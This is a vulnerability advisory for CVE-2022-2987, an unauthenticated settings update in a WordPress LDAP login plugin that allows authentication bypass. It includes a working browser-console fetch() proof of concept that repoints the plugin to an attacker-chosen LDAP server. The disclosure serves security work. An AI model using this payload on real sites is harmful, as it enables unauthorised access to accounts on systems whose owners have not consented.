Ldap WP Login / Active Directory Integration < 3.0.2 – Unauthenticated Settings Update to Auth Bypass | CVE 2022-2987

Description

The plugin does not have any authorisation and CSRF checks when updating it's settings (which are hooked to the init action), allowing unauthenticated attackers to update them. Attackers could set their own LDAP server to be used to authenticated users, therefore bypassing the current authentication

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as an unauthenticated user

fetch("/", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'action=ldapConfig&ldapConfig_nonce=-&ldapURI=127.0.0.1&ldapEncrpytMethod=ldap&ldapport=389&ldapDN=user%40localhost&ldappassword=password',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));